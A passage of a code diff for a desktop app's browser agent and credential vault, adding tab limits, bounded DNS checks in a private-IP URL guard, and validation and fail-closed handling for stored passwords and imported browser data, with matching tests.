MAX_LIVE_TABS_PER_SCOPE && snapshot.tabs[snapshot.activeIndex]) { + selectedIndexes.add(snapshot.activeIndex) + } + for ( + let index = 0; + index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE; + index++ + ) { + selectedIndexes.add(index) + } + } + const selectedEntries = snapshot + ? [...selectedIndexes] + .sort((left, right) => left - right) + .map((index) => ({ entry: snapshot.tabs[index], sourceIndex: index })) + : [] + const availableSlots = Math.max(0, MAX_LIVE_TABS_GLOBAL - liveBrowserTabCount()) + if (selectedEntries.length > availableSlots) { + throw new SessionError( + `Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.` ) - publishBrowserDownloads(scopeId) - for (const entry of snapshot.tabs) { - const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false }) - tab.pendingRestoreUrl = entry.url - restoredTabs.push(tab) - if (entry.url !== 'about:blank') { - void tab.view.webContents.loadURL(entry.url).catch(() => {}) + } + + const state = browserScopeState(scopeId) + const previousState = { + tabs: [...state.tabs], + activeTabId: state.activeTabId, + automationTabId: state.automationTabId, + nextTabId: state.nextTabId, + restored: state.restored, + lastPersistedSnapshot: state.lastPersistedSnapshot, + } + const previousDownloads = browserDownloadsByScope.get(scopeId) + const restoredTabs: AgentTab[] = [] + state.restoring = true + try { + if (snapshot) { + browserDownloadsByScope.set( + scopeId, + snapshot.downloads.map((download) => ({ ...download })) + ) + for (const { entry } of selectedEntries) { + const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false }) + tab.pendingRestoreUrl = entry.url + restoredTabs.push(tab) + if (entry.url !== 'about:blank') { + void tab.view.webContents.loadURL(entry.url).catch(() => {}) + } } + const restoredActiveIndex = selectedEntries.findIndex( + ({ sourceIndex }) => sourceIndex === snapshot.activeIndex + ) + state.activeTabId = restoredTabs[restoredActiveIndex]?.id ?? restoredTabs[0]?.id ?? null + state.automationTabId = state.activeTabId + state.lastPersistedSnapshot = JSON.stringify(browserSessionSnapshot()) } - currentScope.activeTabId = restoredTabs[snapshot.activeIndex]?.id ?? restoredTabs[0]?.id ?? null - currentScope.automationTabId = currentScope.activeTabId - currentScope.lastPersistedSnapshot = JSON.stringify(snapshot) + + state.restored = true + } catch (error) { + for (const tab of restoredTabs) closeTabAfterFailedRestore(tab) + state.tabs = previousState.tabs + state.activeTabId = previousState.activeTabId + state.automationTabId = previousState.automationTabId + state.nextTabId = previousState.nextTabId + state.restored = previousState.restored + state.lastPersistedSnapshot = previousState.lastPersistedSnapshot + if (previousDownloads) browserDownloadsByScope.set(scopeId, previousDownloads) + else browserDownloadsByScope.delete(scopeId) + applyActiveTabThrottling() + throw error + } finally { + state.restoring = false } - currentScope.restoring = false applyActiveTabThrottling() + if (snapshot) publishBrowserDownloads(scopeId) const active = activeTab() if (active) { layout() @@ -1904,6 +2242,10 @@ export function switchTab(tabId: string): AgentTab { const transferBrowserFocus = currentScope.focusedBrowserTabId !== null || tabs.some((entry) => entry.view.webContents.isFocused()) + const previousActiveTab = activeTab() + if (previousActiveTab && previousActiveTab.id !== tab.id) { + revokeTabMediaPermissions(previousActiveTab, false) + } currentScope.activeTabId = tab.id currentScope.visibleTabUserSelected = true // Visible selection does not move the automation exemption; the user may @@ -1966,6 +2308,7 @@ export function closeTab(tabId: string): void { dismissFind(tabId) clearAutomationIndicatorsForTab(tabId) const [tab] = tabs.splice(index, 1) + revokeTabMediaPermissions(tab, false) recentlyClosedTabUrls.unshift(sanitizeRestorableUrl(tabUrl(tab)) ?? 'about:blank') if (recentlyClosedTabUrls.length > MAX_RECENTLY_CLOSED_TABS) { recentlyClosedTabUrls.length = MAX_RECENTLY_CLOSED_TABS @@ -2197,6 +2540,7 @@ function closeTabFromUser(tabId: string): void { function closeLiveTabs(): void { dismissFind(currentScope.findingTabId) for (const tab of tabs.splice(0)) { + revokeTabMediaPermissions(tab, false) detachIfAttached(tab.view) if (!tab.view.webContents.isDestroyed()) { tab.view.webContents.close() diff --git a/apps/desktop/src/main/browser-agent/url-guard.test.ts b/apps/desktop/src/main/browser-agent/url-guard.test.ts index e50d51eb6b7..0468ffb799a 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.test.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.test.ts @@ -217,6 +217,53 @@ describe('isBlockedSubresourceUrl', () => { expect(mockLookup).toHaveBeenCalledTimes(1) }) + it('bounds DNS concurrency across distinct hostile hostnames', async () => { + let active = 0 + let peak = 0 + const releases: Array<() => void> = [] + mockLookup.mockImplementation( + () => + new Promise((resolve) => { + active++ + peak = Math.max(peak, active) + releases.push(() => { + active-- + resolve([{ address: '93.184.216.34', family: 4 }]) + }) + }) + ) + + const verdicts = Array.from({ length: 24 }, (_, index) => + isBlockedSubresourceUrl(`https://parallel-${index}.example/app.js`) + ) + await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(8)) + releases.splice(0).forEach((release) => release()) + await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(16)) + releases.splice(0).forEach((release) => release()) + await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(24)) + releases.splice(0).forEach((release) => release()) + await Promise.all(verdicts) + + expect(peak).toBe(8) + expect(mockLookup).toHaveBeenCalledTimes(24) + }) + + it('bounds queued requests by the original DNS deadline', async () => { + vi.useFakeTimers() + try { + mockLookup.mockReturnValue(new Promise(() => {})) + const verdicts = Array.from({ length: 16 }, (_, index) => + isBlockedSubresourceUrl(`https://slow-${index}.example/app.js`) + ) + await vi.advanceTimersByTimeAsync(5_000) + + await expect(Promise.all(verdicts)).resolves.toEqual(Array(16).fill(true)) + expect(mockLookup).toHaveBeenCalledTimes(8) + } finally { + vi.useRealTimers() + } + }) + it('treats a trailing-dot host as the same host', async () => { await isBlockedSubresourceUrl('https://example.com/a.js') await isBlockedSubresourceUrl('https://example.com./b.js') diff --git a/apps/desktop/src/main/browser-agent/url-guard.ts b/apps/desktop/src/main/browser-agent/url-guard.ts index 96b3954bedd..75a20e2679d 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.ts @@ -1,5 +1,5 @@ import { createLogger } from '@sim/logger' -import { resolveHostAddresses } from '@sim/security/dns' +import { DEFAULT_DNS_TIMEOUT_MS, DnsTimeoutError, resolveHostAddresses } from '@sim/security/dns' import { isIpLiteral, isLoopbackIp, @@ -100,7 +100,7 @@ export async function checkAgentUrl(rawUrl: string): Promise { } try { - const { addresses } = await resolveHostAddresses(host) + const { addresses } = await resolveHostAddressesBounded(host) if (addresses.some((address) => isBlockedAddress(address))) { logger.warn('Blocked agent navigation resolving to private IP', { host }) return BLOCKED @@ -151,6 +151,57 @@ const HOST_VERDICT_TTL_MS = 30_000 * bounded rather than left to grow. */ const MAX_HOST_VERDICTS = 256 +const MAX_CONCURRENT_DNS_LOOKUPS = 8 +const MAX_QUEUED_DNS_LOOKUPS = 64 + +let activeDnsLookups = 0 +const dnsLookupWaiters: Array<() => void> = [] + +async function acquireDnsLookupSlot(host: string, deadline: number): Promise { + if (activeDnsLookups < MAX_CONCURRENT_DNS_LOOKUPS) { + activeDnsLookups++ + return + } + if (dnsLookupWaiters.length >= MAX_QUEUED_DNS_LOOKUPS) { + throw new Error('DNS lookup queue is full') + } + const remainingMs = deadline - Date.now() + if (remainingMs <= 0) throw new DnsTimeoutError(host) + + await new Promise((resolve, reject) => { + const grant = () => { + clearTimeout(timer) + resolve() + } + const timer = setTimeout(() => { + const index = dnsLookupWaiters.indexOf(grant) + if (index >= 0) dnsLookupWaiters.splice(index, 1) + reject(new DnsTimeoutError(host)) + }, remainingMs) + dnsLookupWaiters.push(grant) + }) +} + +function releaseDnsLookupSlot(): void { + const next = dnsLookupWaiters.shift() + if (next) { + next() + return + } + activeDnsLookups-- +} + +async function resolveHostAddressesBounded(host: string) { + const deadline = Date.now() + DEFAULT_DNS_TIMEOUT_MS + await acquireDnsLookupSlot(host, deadline) + try { + const remainingMs = deadline - Date.now() + if (remainingMs <= 0) throw new DnsTimeoutError(host) + return await resolveHostAddresses(host, { timeoutMs: remainingMs }) + } finally { + releaseDnsLookupSlot() + } +} /** * The in-flight or settled verdict per host. @@ -216,7 +267,7 @@ export async function isBlockedSubresourceUrl(rawUrl: string): Promise const cached = hostVerdicts.get(host) if (cached && Date.now() < cached.expiry) return cached.verdict - const verdict = resolveHostAddresses(host) + const verdict = resolveHostAddressesBounded(host) .then(({ addresses }) => { const blocked = addresses.some((address) => isBlockedAddress(address)) if (blocked) { diff --git a/apps/desktop/src/main/browser-credentials/os-auth.test.ts b/apps/desktop/src/main/browser-credentials/os-auth.test.ts index 91814d5fba7..8a534fc9f72 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.test.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.test.ts @@ -3,6 +3,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' const promptTouchID = vi.fn(async () => undefined) const canPromptTouchID = vi.fn(() => true) const showMessageBox = vi.fn(async () => ({ response: 1 })) +const getFocusedWindow = vi.fn(() => null as { isDestroyed(): boolean } | null) vi.mock('electron', () => ({ systemPreferences: { @@ -18,6 +19,11 @@ vi.mock('electron', () => ({ return showMessageBox }, }, + BrowserWindow: { + get getFocusedWindow() { + return getFocusedWindow + }, + }, })) vi.mock('@sim/logger', () => ({ @@ -67,6 +73,7 @@ describe('authorizeForSecret', () => { vi.useRealTimers() revokeSecretAuthorization() setPlatform('darwin') + getFocusedWindow.mockReturnValue(null) canPromptTouchID.mockReturnValue(true) promptTouchID.mockResolvedValue(undefined) }) @@ -199,11 +206,26 @@ describe('authorizeForSecret', () => { expect.objectContaining({ message: 'Copy password?', buttons: ['Cancel', 'Copy password'], + defaultId: 0, + cancelId: 0, detail: expect.stringContaining('copy a saved password'), }) ) }) + it('parents fallback confirmation to the focused app window', async () => { + canPromptTouchID.mockReturnValue(false) + const parent = { isDestroyed: vi.fn(() => false) } + getFocusedWindow.mockReturnValue(parent) + + await authorizeForSecret(copyRequest('c1')) + + expect(showMessageBox).toHaveBeenCalledWith( + parent, + expect.objectContaining({ message: 'Copy password?' }) + ) + }) + it('fails closed when the fallback dialog cannot be shown', async () => { canPromptTouchID.mockReturnValue(false) showMessageBox.mockRejectedValueOnce(new Error('no window')) diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts index 30e93d14680..57749e6e5ac 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.ts @@ -1,5 +1,6 @@ import { createLogger } from '@sim/logger' -import { dialog, systemPreferences } from 'electron' +import type { MessageBoxOptions } from 'electron' +import { BrowserWindow, dialog, systemPreferences } from 'electron' const logger = createLogger('BrowserCredentialAuth') @@ -130,15 +131,20 @@ async function promptForSecret(reason: string, action: string): Promise } try { - const { response } = await dialog.showMessageBox({ + const options: MessageBoxOptions = { type: 'warning', buttons: ['Cancel', action], - defaultId: 1, + defaultId: 0, cancelId: 0, message: `${action}?`, detail: `Sim is about to ${reason}. Make sure nobody can see your screen.`, noLink: true, - }) + } + const parent = BrowserWindow.getFocusedWindow() + const { response } = + parent && !parent.isDestroyed() + ? await dialog.showMessageBox(parent, options) + : await dialog.showMessageBox(options) return response === 1 } catch (error) { // Fail closed: if the confirmation cannot be shown, nothing is revealed. diff --git a/apps/desktop/src/main/browser-credentials/vault.test.ts b/apps/desktop/src/main/browser-credentials/vault.test.ts index 844406d0827..3fc1d958544 100644 --- a/apps/desktop/src/main/browser-credentials/vault.test.ts +++ b/apps/desktop/src/main/browser-credentials/vault.test.ts @@ -1,4 +1,4 @@ -import { mkdtemp, readFile, rm, stat } from 'node:fs/promises' +import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' @@ -258,15 +258,78 @@ describe('CredentialVault', () => { await expect(vault.clear()).resolves.toBeUndefined() }) - it('reads a corrupt or undecryptable vault as empty instead of throwing', async () => { + it('preserves an undecryptable vault until clear explicitly resets it', async () => { const provider = encryption() - provider.decryptString = vi.fn(() => { + provider.decryptString.mockImplementationOnce(() => { throw new Error('wrong key') }) const vault = new CredentialVault(vaultPath, encryption()) await vault.importCredentials(CANDIDATES, 'keep-existing') + const original = await readFile(vaultPath, 'utf8') const brokenVault = new CredentialVault(vaultPath, provider) await expect(brokenVault.list()).resolves.toEqual([]) + expect(brokenVault.isAvailable()).toBe(false) + await expect(brokenVault.importCredentials(CANDIDATES, 'replace')).resolves.toEqual({ + added: 0, + updated: 0, + skipped: 2, + }) + await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original) + + await brokenVault.clear() + expect(brokenVault.isAvailable()).toBe(true) + await expect(brokenVault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toEqual({ + added: 1, + updated: 0, + skipped: 0, + }) + await expect(brokenVault.list()).resolves.toHaveLength(1) + }) + + it('preserves an oversized vault until explicit clear resets persistence', async () => { + await writeFile(vaultPath, '') + await truncate(vaultPath, 64 * 1024 * 1024 + 1) + const vault = new CredentialVault(vaultPath, encryption()) + + await expect(vault.list()).resolves.toEqual([]) + expect(vault.isAvailable()).toBe(false) + await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({ + added: 0, + }) + expect((await stat(vaultPath)).size).toBe(64 * 1024 * 1024 + 1) + + await vault.clear() + await expect(vault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toMatchObject({ + added: 1, + }) + }) + + it('blocks a stored credential with fields outside the persistence contract', async () => { + const provider = encryption() + const payload = [ + { + id: 'credential-1', + origin: 'https://example.com', + username: 'ada', + password: 'secret', + icon: { unexpected: true }, + createdAt: '2026-01-01T00:00:00.000Z', + updatedAt: '2026-01-01T00:00:00.000Z', + source: 'chrome', + }, + ] + const original = JSON.stringify({ + version: 1, + ciphertext: provider.encryptString(JSON.stringify(payload)).toString('base64'), + }) + await writeFile(vaultPath, original) + const vault = new CredentialVault(vaultPath, provider) + + await expect(vault.list()).resolves.toEqual([]) + await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({ + added: 0, + }) + await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original) }) }) diff --git a/apps/desktop/src/main/browser-credentials/vault.ts b/apps/desktop/src/main/browser-credentials/vault.ts index e5ecb659e36..08b6fe0a5f0 100644 --- a/apps/desktop/src/main/browser-credentials/vault.ts +++ b/apps/desktop/src/main/browser-credentials/vault.ts @@ -1,8 +1,13 @@ -import { readFile } from 'node:fs/promises' import type { BrowserCredentialMetadata } from '@sim/desktop-bridge' +import { createLogger } from '@sim/logger' import { generateId } from '@sim/utils/id' import { safeStorage } from 'electron' -import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file' +import { + FileResourceLimitError, + readFileWithinLimit, + removeFileIfPresent, + writeJsonFileAtomically, +} from '@/main/atomic-json-file' import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/origin' /** @@ -20,6 +25,16 @@ import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/o */ const VAULT_VERSION = 1 +const MAX_VAULT_FILE_BYTES = 64 * 1024 * 1024 +const MAX_VAULT_PAYLOAD_BYTES = 45 * 1024 * 1024 +const MAX_CREDENTIAL_RECORDS = 50_000 +const MAX_CREDENTIAL_ID_LENGTH = 128 +const MAX_CREDENTIAL_ORIGIN_LENGTH = 2_048 +const MAX_LOGIN_NAME_LENGTH = 4_096 +const MAX_SECRET_VALUE_LENGTH = 65_536 +const MAX_CREDENTIAL_ICON_LENGTH = 2 * 1024 * 1024 +const MAX_CREDENTIAL_TIMESTAMP_LENGTH = 64 +const logger = createLogger('BrowserCredentialVault') export interface CredentialRecord { id: string @@ -65,11 +80,25 @@ function isCredentialRecord(value: unknown): value is CredentialRecord { const record = value as Record return ( typeof record.id === 'string' && + record.id.length > 0 && + record.id.length <= MAX_CREDENTIAL_ID_LENGTH && typeof record.origin === 'string' && + record.origin.length > 0 && + record.origin.length <= MAX_CREDENTIAL_ORIGIN_LENGTH && + normalizeOrigin(record.origin) === record.origin && typeof record.username === 'string' && + record.username.length <= MAX_LOGIN_NAME_LENGTH && typeof record.password === 'string' && + record.password.length > 0 && + record.password.length <= MAX_SECRET_VALUE_LENGTH && + (record.icon === undefined || + (typeof record.icon === 'string' && record.icon.length <= MAX_CREDENTIAL_ICON_LENGTH)) && typeof record.createdAt === 'string' && + record.createdAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH && + Number.isFinite(Date.parse(record.createdAt)) && typeof record.updatedAt === 'string' && + record.updatedAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH && + Number.isFinite(Date.parse(record.updatedAt)) && (record.source === 'chrome' || record.source === 'manual') ) } @@ -97,6 +126,7 @@ export class CredentialVault { * failed disk write does not permanently poison subsequent mutations. */ private mutationTail: Promise = Promise.resolve() + private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown' constructor( private readonly filePath: string, @@ -122,7 +152,7 @@ export class CredentialVault { // returning false, and an unguarded call propagated out of a password // import. The site directory has always defended against it; this did not. try { - return this.encryption.isEncryptionAvailable() + return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable() } catch { return false } @@ -135,27 +165,59 @@ export class CredentialVault { private async read(): Promise { if (!this.isAvailable()) return [] try { - const raw = JSON.parse(await readFile(this.filePath, 'utf8')) as - | Partial - | undefined - if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') return [] - const parsed = JSON.parse( - this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64')) - ) as unknown - return Array.isArray(parsed) ? parsed.filter(isCredentialRecord) : [] - } catch { - // A missing, corrupt, or undecryptable vault reads as empty rather than - // throwing: the browser must stay usable, and a failed write is where - // the user is told something is wrong. + const raw = JSON.parse( + (await readFileWithinLimit(this.filePath, MAX_VAULT_FILE_BYTES)).toString('utf8') + ) as Partial | undefined + if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') { + this.blockPersistence('invalid-envelope') + return [] + } + const decrypted = this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64')) + if (Buffer.byteLength(decrypted, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) { + this.blockPersistence('resource-limit') + return [] + } + const parsed = JSON.parse(decrypted) as unknown + if ( + !Array.isArray(parsed) || + parsed.length > MAX_CREDENTIAL_RECORDS || + !parsed.every(isCredentialRecord) + ) { + this.blockPersistence('invalid-payload') + return [] + } + this.persistenceState = 'writable' + return parsed + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + this.persistenceState = 'writable' + return [] + } + if (error instanceof FileResourceLimitError) { + this.blockPersistence('resource-limit') + return [] + } + this.blockPersistence('read-failed') return [] } } + private blockPersistence( + reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit' + ): void { + if (this.persistenceState !== 'blocked') { + logger.warn('Credential vault persistence is unavailable', { reason }) + } + this.persistenceState = 'blocked' + } + private async write(records: CredentialRecord[]): Promise { if (!this.isAvailable()) return false + const payload = JSON.stringify(records) + if (Buffer.byteLength(payload, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) return false const envelope: EncryptedVaultEnvelope = { version: VAULT_VERSION, - ciphertext: this.encryption.encryptString(JSON.stringify(records)).toString('base64'), + ciphertext: this.encryption.encryptString(payload).toString('base64'), } await writeJsonFileAtomically(this.filePath, envelope) return true @@ -251,7 +313,17 @@ export class CredentialVault { for (const candidate of candidates) { const origin = normalizeOrigin(candidate.origin) const username = normalizeUsername(candidate.username) - if (origin === null || candidate.password.length === 0) { + const icon = + candidate.icon && candidate.icon.length <= MAX_CREDENTIAL_ICON_LENGTH + ? candidate.icon + : undefined + if ( + origin === null || + origin.length > MAX_CREDENTIAL_ORIGIN_LENGTH || + username.length > MAX_LOGIN_NAME_LENGTH || + candidate.password.length === 0 || + candidate.password.length > MAX_SECRET_VALUE_LENGTH + ) { outcome.skipped += 1 continue } @@ -262,8 +334,8 @@ export class CredentialVault { if (policy === 'keep-existing' || existing.password === candidate.password) { // A re-import still refreshes a missing icon; that is not a // credential change, so it does not count as an update. - if (candidate.icon && !existing.icon) { - existing.icon = candidate.icon + if (icon && !existing.icon) { + existing.icon = icon iconsAdded = true } outcome.skipped += 1 @@ -272,17 +344,21 @@ export class CredentialVault { existing.password = candidate.password existing.updatedAt = timestamp existing.source = 'chrome' - if (candidate.icon) existing.icon = candidate.icon + if (icon) existing.icon = icon outcome.updated += 1 continue } + if (records.length >= MAX_CREDENTIAL_RECORDS) { + outcome.skipped += 1 + continue + } const record: CredentialRecord = { id: generateId(), origin, username, password: candidate.password, - ...(candidate.icon ? { icon: candidate.icon } : {}), + ...(icon ? { icon } : {}), createdAt: timestamp, updatedAt: timestamp, source: 'chrome', @@ -305,6 +381,9 @@ export class CredentialVault { * machine cannot inherit the previous user's passwords. */ async clear(): Promise { - await this.serializeMutation(() => removeFileIfPresent(this.filePath)) + await this.serializeMutation(async () => { + await removeFileIfPresent(this.filePath) + this.persistenceState = 'writable' + }) } } diff --git a/apps/desktop/src/main/browser-import/import-service.test.ts b/apps/desktop/src/main/browser-import/import-service.test.ts index b29395a14c9..f1c9567c1a7 100644 --- a/apps/desktop/src/main/browser-import/import-service.test.ts +++ b/apps/desktop/src/main/browser-import/import-service.test.ts @@ -81,6 +81,7 @@ function createDeps(overrides: Partial = {}): ImportServiceDe readFavicons: async () => new Map(), readSites: async () => [], rememberSites: async () => {}, + commit: (operation) => operation(), vault: { isAvailable: () => true, importCredentials: async (candidates) => ({ @@ -347,6 +348,31 @@ describe('importChromeCookies', () => { }) describe('importChromePasswords', () => { + it('does not commit passwords when account teardown begins during the source read', async () => { + let releaseRead: ((result: ReadPasswordsResult) => void) | undefined + const readResult = new Promise((resolve) => { + releaseRead = resolve + }) + let current = true + const importCredentials = vi.fn(async () => ({ added: 1, updated: 0, skipped: 0 })) + const deps = createDeps({ + readPasswords: () => readResult, + commit: async (operation) => { + if (!current) throw new Error('account expired') + return operation() + }, + vault: { isAvailable: () => true, importCredentials }, + }) + + const pending = importChromePasswords(undefined, 'keep-existing', deps) + await vi.waitFor(() => expect(releaseRead).toBeTypeOf('function')) + current = false + releaseRead?.(readPasswords()) + + await expect(pending).resolves.toMatchObject({ error: 'unknown' }) + expect(importCredentials).not.toHaveBeenCalled() + }) + it('stores decrypted passwords in the vault and reports counts', async () => { const importCredentials = vi.fn(async () => ({ added: 2, updated: 1, skipped: 0 })) const deps = createDeps({ diff --git a/apps/desktop/src/main/browser-import/import-service.ts b/apps/desktop/src/main/browser-import/import-service.ts index 8ea65498a49..11c943efa12 100644 --- a/apps/desktop/src/main/browser-import/import-service.ts +++ b/apps/desktop/src/main/browser-import/import-service.ts @@ -43,6 +43,8 @@ export interface ImportServiceDeps { readSites: (historyPath: string, domains: ReadonlySet) => Promise /** Records the hosts an import brought over, with their names and icons. */ rememberSites: (records: readonly SiteRecord[]) => Promise + /** Admits a final persistent write only while its originating account is current. */ + commit: (operation: () => Promise) => Promise vault: { isAvailable: () => boolean importCredentials: ( @@ -218,7 +220,7 @@ async function runCookieImport( } } - const written = await deps.writeCookies(read.cookies) + const written = await deps.commit(() => deps.writeCookies(read.cookies)) const result: BrowserImportResult = { cookiesImported: written.imported, cookiesSkipped: skippedReading + written.failed, @@ -294,10 +296,8 @@ async function runPasswordImport( const candidates = read.credentials.map( ({ sourceModifiedAt: _sourceModifiedAt, ...candidate }) => candidate ) - const outcome = await deps.vault.importCredentials( - await withFavicons(candidates, profile.faviconsPath, deps), - policy - ) + const importedCandidates = await withFavicons(candidates, profile.faviconsPath, deps) + const outcome = await deps.commit(() => deps.vault.importCredentials(importedCandidates, policy)) const result: BrowserPasswordImportResult = { passwordsAdded: outcome.added, passwordsUpdated: outcome.updated, @@ -558,14 +558,16 @@ async function rememberImportedSites( : new Map() const importedAt = new Date().toISOString() - await deps.rememberSites( - sites.map((site) => ({ - hostname: site.hostname, - name: site.name, - icon: icons.get(originOf(site.hostname)), - visits: site.visits, - importedAt, - })) + await deps.commit(() => + deps.rememberSites( + sites.map((site) => ({ + hostname: site.hostname, + name: site.name, + icon: icons.get(originOf(site.hostname)), + visits: site.visits, + importedAt, + })) + ) ) } catch { // Category only, like every other failure path here: the detail that would diff --git a/apps/desktop/src/main/browser-import/index.ts b/apps/desktop/src/main/browser-import/index.ts index 92ec971868d..299de7bcceb 100644 --- a/apps/desktop/src/main/browser-import/index.ts +++ b/apps/desktop/src/main/browser-import/index.ts @@ -5,6 +5,10 @@ import type { BrowserImportResult, BrowserPasswordImportResult, } from '@sim/desktop-bridge' +import { + captureAccountDataGeneration, + runAccountDataMutation, +} from '@/main/account-data-generation' import { importAgentCookies } from '@/main/browser-agent/session' import { credentialsAvailable, importCredentials } from '@/main/browser-credentials' import { readBrowserCookies } from '@/main/browser-import/chromium-cookies' @@ -28,6 +32,7 @@ import { rememberSites } from '@/main/browser-sites' * `import-service`. The IPC layer talks to this module and nothing deeper. */ function deps(): ImportServiceDeps { + const generation = captureAccountDataGeneration() return { platform: process.platform, listProfiles: () => listAllBrowserProfiles(), @@ -38,6 +43,7 @@ function deps(): ImportServiceDeps { readFavicons: (faviconsPath, origins) => readBrowserFavicons(faviconsPath, origins), readSites: (historyPath, domains) => readBrowserSites(historyPath, domains), rememberSites: (records) => rememberSites(records), + commit: (operation) => runAccountDataMutation(generation, operation), vault: { isAvailable: () => credentialsAvailable(), importCredentials: (candidates, policy) => importCredentials(candidates, policy), diff --git a/apps/desktop/src/main/browser-sites/directory.test.ts b/apps/desktop/src/main/browser-sites/directory.test.ts index af3c1919f4b..68d3643d831 100644 --- a/apps/desktop/src/main/browser-sites/directory.test.ts +++ b/apps/desktop/src/main/browser-sites/directory.test.ts @@ -1,4 +1,4 @@ -import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' +import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' @@ -74,6 +74,32 @@ describe('SiteDirectory', () => { ]) }) + it('keeps sites from concurrent imports', async () => { + const store = open() + + await Promise.all([ + store.remember([{ hostname: 'github.com', name: 'GitHub' }]), + store.remember([{ hostname: 'linear.app', name: 'Linear' }]), + ]) + + expect((await store.list()).map((site) => site.hostname).sort()).toEqual([ + 'github.com', + 'linear.app', + ]) + }) + + it('applies concurrent imports and clear in invocation order', async () => { + const store = open() + + await Promise.all([ + store.remember([{ hostname: 'github.com', name: 'GitHub' }]), + store.clear(), + store.remember([{ hostname: 'linear.app', name: 'Linear' }]), + ]) + + expect(await store.list()).toEqual([{ hostname: 'linear.app', name: 'Linear' }]) + }) + it('keeps an existing icon when a later import only learns a name', async () => { const store = open() await store.remember([{ hostname: 'github.com', icon: 'data:png' }]) @@ -204,19 +230,44 @@ describe('SiteDirectory', () => { await expect(readFile(path)).rejects.toThrow() }) - it('reads as empty rather than throwing on a corrupt file', async () => { - await writeFile(path, 'not json at all') + it('preserves a corrupt file until clear explicitly resets persistence', async () => { + const original = 'not json at all' + await writeFile(path, original) + const store = open() - expect(await open().list()).toEqual([]) + expect(await store.list()).toEqual([]) + expect(store.isAvailable()).toBe(false) + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await readFile(path, 'utf8')).toBe(original) + + const clearing = store.clear() + const remembering = store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + await Promise.all([clearing, remembering]) + expect(store.isAvailable()).toBe(true) + expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }]) }) - it('ignores a directory written by a future version', async () => { - await writeFile(path, JSON.stringify({ version: 99, payload: 'whatever' })) + it('does not overwrite a directory written by a future version', async () => { + const original = JSON.stringify({ version: 99, payload: 'whatever' }) + await writeFile(path, original) + const store = open() - expect(await open().list()).toEqual([]) + expect(await store.list()).toEqual([]) + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await readFile(path, 'utf8')).toBe(original) }) - it('drops a directory written before imported hosts became suggestions', async () => { + it('does not overwrite a malformed legacy directory', async () => { + const original = JSON.stringify({ version: 1 }) + await writeFile(path, original) + const store = open() + + expect(await store.list()).toEqual([]) + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await readFile(path, 'utf8')).toBe(original) + }) + + it('replaces a valid legacy directory on the next import', async () => { // Version 1 was seeded from imported cookie hosts — mostly ad and analytics // origins — and those records only ever decorated a host the omnibox already // had. Version 2 records are offered as suggestions in their own right, so @@ -224,15 +275,47 @@ describe('SiteDirectory', () => { // dropdown. The payload below decrypts cleanly; it is discarded on meaning, // not on damage. const version1: SiteRecord[] = [{ hostname: 'doubleclick.net', name: 'DoubleClick' }] - await writeFile( - path, - JSON.stringify({ - version: 1, - payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'), - }) - ) + const original = JSON.stringify({ + version: 1, + payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'), + }) + await writeFile(path, original) - expect(await open().list()).toEqual([]) + const store = open() + expect(await store.list()).toEqual([]) + + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await readFile(path, 'utf8')).not.toBe(original) + }) + + it('preserves an oversized directory until explicit clear', async () => { + await writeFile(path, '') + await truncate(path, 16 * 1024 * 1024 + 1) + const store = open() + + expect(await store.list()).toEqual([]) + expect(store.isAvailable()).toBe(false) + await store.remember([{ 